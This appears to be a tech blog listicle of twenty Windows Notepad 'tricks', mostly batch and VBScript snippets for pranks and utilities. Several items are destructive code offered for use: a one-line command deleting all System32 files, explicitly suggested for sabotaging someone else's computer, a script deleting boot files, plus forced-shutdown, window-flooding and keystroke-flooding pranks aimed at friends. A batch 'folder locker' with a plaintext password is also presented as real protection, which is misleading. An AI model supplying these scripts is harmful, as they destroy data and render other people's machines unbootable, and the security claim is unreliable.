Top 10

Top 20 Best Notepad Tricks you don’t know – Must Try on PC/Laptop

You can use these 20 Notepad Tricks to prank on your friends. Users can also do cool stuff like shut down PC with a message, Test your PC Softwares, and many more. All these notepad tricks can be done easily on any Windows 7, 8, 8.1, and 10. You can even use these tricks on any PC/Laptop, which has a notepad.

Notepad by Microsoft is a simple extended tool that can be used to create a quick note. The file format in which this tool saves is .txt, which means that every available text editor can read this text file. Be it QuickOffice, Microsoft Office, LibreOffice, or any other office tool. Everyone Operating System support Notepad. The reason behind Notepad texts being so popular is that the files it creates can be opened, read, and edited from everywhere and are very simple.

Top 20 Best Notepad Tricks you don’t know – Must Try

That’s not all this tiny tool can do. As many of you would know, Notepad can be used to play several cool tricks that one can perform to either impress friends or just play pranks on unsuspecting people. So without further ado, let’s take a look at some of the best Notepad tricks that are available.


  1. Make Notepad into your personal diary

The title itself is pretty self-explanatory, follow the details to know how to use Notepad as your personal diary without installing an additional tool. This trick allows you to get rid of a paid diary software.

  1. Open Notepad.
  2. Type .LOG and press the Enter button.
  3. Save it with any name.
  4. Reopen

That’s it. Now you have turned Notepad into your personal logbook/diary. Of course, the interface isn’t as good as a premium diary application, but it’s okay to begin with.

Read more: Best Free Password Managers


  1. Force shutdown Windows operating system using Notepad

Forget about wasting three clicks to shut down your Windows. You can do it with a single click. With this method, you can force shutdown your Windows in a flash of a second.

  1. Open Notepad tool.
  2. Write “@echo off ” in the very first line (minus quotes).
  3. Write “*Shutdown computer” in the second line.
  4. Write shutdown -c “your message here” -s in the third line.
  5. Save the Notepad file with a .BAT extension. Example – forceshutdown.bat
  6. Now all you have to do is click on the file to shut down Windows immediately.

You can create such a file and pin it to your taskbar. So the next time you need to shut down your PC, you can simply do it with a single click, thus saving two or more clicks.

Read more: How to Make a Chrome Extension


  1. Test your antivirus

This is perhaps the most useful trick that your notepad can perform as it allows you to test the effectiveness of your antivirus with a single line of code. Here’s what to do:

  1. Open Notepad
  2. Copy and paste the command in your notepad file.
    X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
  3. Save the Notepad file with an .exe extension.
    Example – antivirustest.exe

After you save this file, the antivirus program installed on your computer will immediately start the search for any viruses that may be present on your system, and attempt to delete it. If it does, then your antivirus indeed does its job.

Read more: How to Create a Batch File in Windows 10


  1. Shut down your computer after you convey a message

Before you proceed with the instructions, we would like to tell you that this is a rather risky trick and might not be taken in a good sense by everyone. What it does is that it shows a message to the user and shuts down the computer without requiring any confirmation. Even though we believe that there is no use for this trick, it can be played as a prank.

  1. Open Notepad
  2. Paste the following code
    @echo off
    msg *Bye, see you later
    shutdown -c “Error! Bye, see you later” -s
  3. You can save the Notepad file with any name as .bat extension and close it.

You can play this, but you should keep in mind that this may result in any loss of data that the victim might regret losing. So, try it with care.

Read more:How to Password Protect a Folder in Windows 10


  1. Delete System32 files from hard drive

Even though revealing this sort of information may cause more harm than good, it can come in use if you wanted to sabotage someone else’s computer or get rid of infected System32 files from your own PC. These files are absolutely necessary for a computer to boot up and operate, so do not use this as a prank because your friend will probably never talk to you after this again. You may, however, test it on your own computer just as an experiment.

This is a simple procedure that involves pasting the following code into your Notepad file and then saving it as a .bat file.

DEL C:\WINDOWS\SYSTEM32\*.*/Q

Don’t say that we didn’t warn you!


  1. Text-to-speech converter

When you want to convert your text to speech and want to hear it on your computer you need a text-to-speech converter. Why can’t we make our own text-to-speech converter? Yes, we can follow the below steps to make your text-to-speech converter.

  1. Open Notepad.
  2. Paste the following code.
    Dim message, spai
    message=InputBox(“What do you want me speak for you?”,”Speech Converter”)
    Set sapi=CreateObject(“sapi.spvoice”)
    sapi.Speak message
  3. Save the notepad file with a .vbs extension with any name. From next time run this to start your text-to-speech converter.

  1. Create a Fake Error for Windows

Sometimes we don’t want any others to access our computer. To keep away, all the unwanted users just print some kind of fake Error Messages how exactly Windows show. Just try the below steps to start printing fake Error Messages.

  1. Open Notepad
  2. Type in the below line in your notepad.
    X = Msgbox("Your computer is corrupted",O+16,"ERROR")
  3. You can also change the Error message by changing the text in the quotes.
  4. Save the notepad file with a .vbs extension and run it to display an error message.

  1. Make Your Disco Light Keyboard

Do you ever think that converting your keyboard lights into disco lights? Let’s try the below steps and see how to enjoy the disco light keyboard.

  1. Open Notepad.
  2. Copy the below code to your Notepad.
    Set wshShell =wscript.CreateObject(“WScript.Shell”)
    do
    wscript.sleep 100
    wshShell.sendkeys “{CAPSLOCK}”
    wshShell.sendkeys “{NUMLOCK}”
    wshShell.sendkeys “{SCROLLLOCK}”
    loop
  3. Now save the file with a .vbs extension and run. That’s it your disco light keyboard is ready.

Read more: Best Windows 7 Tricks and Secrets


  1. Feel like a Hacker

Many times when we some advertisements or films where some hackers will be having numbers running on their computers. We too want to experience how it is possible to have a continuous flow of numbers in tour terminal. Follow the below steps

  1. Open Notepad
  2. Copy the below code into your notepad
    @echo off
    color 02
    :start
    echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
    goto start
  3. Here you can also change color by changing the number.
  4. Now save the Notepad file with a .bat extension and run it.
    You will experience a computer terminal with a huge number of digits running over it.

  1. Attack on the Twin Towers

Don’t get scared. We are not asking you for another attack. Just a small Notepad trick, which has a text effect that resembles the world trade center attack. Now follow the below instructions to see the attack

  1. Open Notepad
  2. Enter “Q33N” (without quotes) in your notepad.
  3. Now increase your font size to 72.
  4. And also change your font style to “Wingdings“.

That’s it save and run the notepad file to view the resembles of the attack.


  1. Print a message continuously

Want to print your messages continuously on the screen. Let’s try this wonderful Notepad trick. Follow the below steps

  1. Open Notepad
  2. Paste the following code in your NotePad.
    @ECHO off
    :Begin
    msg * Hi
    msg *What’s up?
    msg * I,m printing….
    GOTO BEGIN
  3. That’s it now save this notepad file and run it.
  4. You will be printed messages continuously.

Read more: Best Way to Block Websites on your PC 


  1. Time for the Tricks

Every one of us wants to try encrypting our messages so that no one can read. We can try this and send it to our friends to play with them. Now follow the below steps

  1. Open Notepad
  2. Now type a sentence which has 4 words and it should also satisfy some more rules.
  3. The first word should have 4 letters, second and third words should have 3 letters and the last word should have 5 letters.
  4. Now save the file with some sentence like “TIME FOR THE TRICKS” and run it.

That’s it you will see the message in some unknown language. This is because when you run this automatically matches with 4335 rule. It will not work in recent versions of windows.


  1. Press Enter continuously

This trick is just to irritate your friends where they will not be touching the keyboard but the ENTER button will be pressed continuously. Now let’s try to make a file that can irritate your friends.

  1. Open Notepad.
  2. Copy the following code into your notepad file.
    Set wshShell = wscript.CreateObjects(“WScript.Shell”)
    do
    wscript.sleep 100
    wshshell.sendkeys “~(enter)”
    loop
  3. Now save it with a .vbs extension and run it. Your enter key will keep on continuously pressed.
  4. You can also try it with backspace also by just making a small change in the above code.
  5. replace {wshshell.sendkeys “~(enter)” ⇒ wshshell.sendkeys “~(bs)”}

Read more: How to Use Clipboard History on Windows 10


  1. POP OUT CD DRIVE Continuously

Many of us want to irritate our friends by wasting their time when they are working. Let us think that your friend has work with CD and they want to load it. This is one of the good notepad tricks to irritate your friends. Let’s follow the below steps.

  1. Open Notepad.
  2. Paste the below code onto your notepad file
    Set oWMP = CreateObject(“WMPlayer.OCX.7”)
    Set colCDROMs = oWMP.cdromCollection
    do
    if colCDROMs.Count >= 1 then
    For i = 0 to colCDROMS.Count – 1
    colCDROMs.Item(i).Eject
    Next
    For i = 0 to colCDROMs.Count – 1
    colCDROMs.Item(i).Eject
    Next
    End If
    wscript.sleep 5000
    loop
  3. Save your notepad file with a .vbs extension and run it.
  4. That’s it your CD drive will pop-out continuously.

  1. Slow Typing Notepad

When you want your friends to feel that their computer is attacked with some virus and became slow while they are looking at this file. This is a completely harmless best notepad tricks for playing a prank on your friends. Follow the steps to fool your friends

  1. Open Notepad.
  2. Copy the below code to your notepad file.
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell = WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “

Now save your file with a .vbs extension and run it.

Read more: How to Make an Invisible Folder on Windows 10


  1. Securing your folders

We all want to secure our folders, which are very important for us. No one else cannot view or open your folders until they know the password. Here, by running this code, you will create a new secure folder then copy all the files that you need to protect. Follow the below steps to start protecting your files.

  1. Open Notepad.
  2. Copy the following code into your notepad file.
@ECHO OFF
 title Folder Private
 if EXIST “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” goto UNLOCK
 if NOT EXIST Private goto MDLOCKER
 :CONFIRM
 echo Are you sure you want to lock the folder(Y/N)
 set/p “cho=>”
 if %cho%==Y goto LOCK
 if %cho%==y goto LOCK
 if %cho%==n goto END
 if %cho%==N goto END
 echo Invalid choice.
 goto CONFIRM
 :LOCK
 ren Private “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
 attrib +h +s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
 echo Folder locked
 goto End
 :UNLOCK
 echo Enter password to unlock folder
 set/p “pass=>”
 if NOT %pass%== password goto FAIL
 attrib -h -s “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}”
 ren “Control Panel.{21EC2020-3AEA-1069-A2DD-08002B30309D}” Private
 echo Folder Unlocked successfully
 goto End
 :FAIL
 echo Invalid password
 goto end
 :MDLOCKER
 md Private
 echo Private created successfully
 goto End
 :End
  • Now replace the password in the above code with your own password.
  • Save the notepad file with a .bat extension and run it.
  • That’s it your private protected folder is ready to protect your files.

Read more: How to Enable Password Expiration Date in Windows 10


  1. Changing Header and Footer

while using Notepad we want to change our header and footer as per our requirements. Based on the work we do, we want to change our header and footer that suits our work. This is one of the best notepad tricks to give a try. By following the below steps you can easily change your header and footer.

  1. Open Notepad.
  2. Headon to File and click page setup.
  3. Now change the Header and Footer settings.
&l Left-align the characters that follow
&c Center the characters that follow
&f Print the name of the document
&t Print the current time
&r Right-align the characters that follow
&d Print the current date
&p Print the page number

Update the settings as per your requirements. That’s it, your notepad is ready with your new header and footer style.

Read more: What is Pagefile.sys


  1. Delete Particular Folders

We want to delete a set of files located in a particular folder. But heading to that file in our computer may be very hard sometimes. Just by running a file, it’s very easy to delete a particular folder. Now follow the below steps

  1. Open Notepad.
  2. Paste the following line in your notepad file.
    DEL Your File Address\*.*/Q
  3. In the above line change “Your File Address” with the file address which you are trying to delete.
  4. Save the notepad file with a .bat extension and run it. All the files in that folder will be deleted.

We are warning you that all files will be deleted from that folder. So if you want to test this, please try this by creating a dummy folder where some duplicate files are kept. If you have unfortunately deleted some items, then you can also restore them back from your recycle bin.


  1. Continuously Opening Notepad window

Want to make your friends fool again? Then try this new notepad tricks. Scare your friend with continuously operating notepad tabs and say them someone hacked your computer. That’s it your friend will be tensed. Now to do so follow the below instructions.

  1. Open Notepad.
  2. Copy the following code into your notepad file.
@ECHO off
:top
START %SystemRoot%\system32\notepad.exe
GOTO top

Now save this file with a .bat extension and run it. That’s it. Your computer will start opening continuos notepad tabs.

Read more: How to Flush DNS Cache in Windows 10


  1. Delete all Startup Files

When we turn on our computer, we see some applications and files will start automatically. We can delete all the startup files with a single click.  We strongly suggest you, don’t try this on your computers or someone else. Because it will shut down your computer and delete all the files that are necessary for restarting the system again.

  1. Open Notepad.
  2. Copy and paste the below code into your notepad file.
@ECHO OFF
ATTRIB -R -S -H C:\AUTOEXEC.BAT
DEL C:\AUTOEXEC.BAT
ATTRIB -R -S -H C:\BOOT.INI
DEL C:\BOOT.INI
ATTRIB -R -S -H C:\NTLDR
DEL C:\NTLDR
ATTRIB -R -S -H C:\WINDOWS\WIN.INI
DEL C:\WINDOWS\WIN.INI

Save the file with a .bat extension and run it. The system will shut down.

We are alerting you, don’t try this because it will permanently delete all your files and also your system may not turn on.


Conclusion

Haa, You are at the end of our article. We hope that we have provided you some of the best notepad tricks you have never used. This article is a combination of all types of tricks like this has some tricks to play with your friends, some are to secure yourself, and some are very effective that will erase all files from your system.

Was this article helpful?
YesNo

Ekaant Puri

I love to write about the latest technology. My work is to write on HowTo, Top 10 and tech solving topics.

Recent Posts

Advantages of using Themify Themes

Are you creating a website and trying to find an easy-to-use solution to give it…

2 weeks ago

Top 10 Best Plex Alternatives – Must Check Now

I have shared the 10 best Plex alternatives. You can use this Plex alternative to…

9 months ago

What is Cardioid and Supercardioid Microphone – Complete Detail

What are super-cardioid microphones? Have you ever got confused between a microphone and a super-cardioid…

9 months ago

What is a Gaming Chair – Top 8 Features

I  have shared the complete details on what is Gaming Chair. Also, check all the…

9 months ago

Top 2 Video Doorbells Without Subscription – Premium Features for Free

I have shared the 2 best Video Doorbells without subscription. You don't need to pay…

11 months ago

How to Set up a Plex Server – Create Own Server To Watch Movies, TV

You can easily Set up a Plex Server on your Windows PC/Laptop by following this…

11 months ago

This website uses cookies.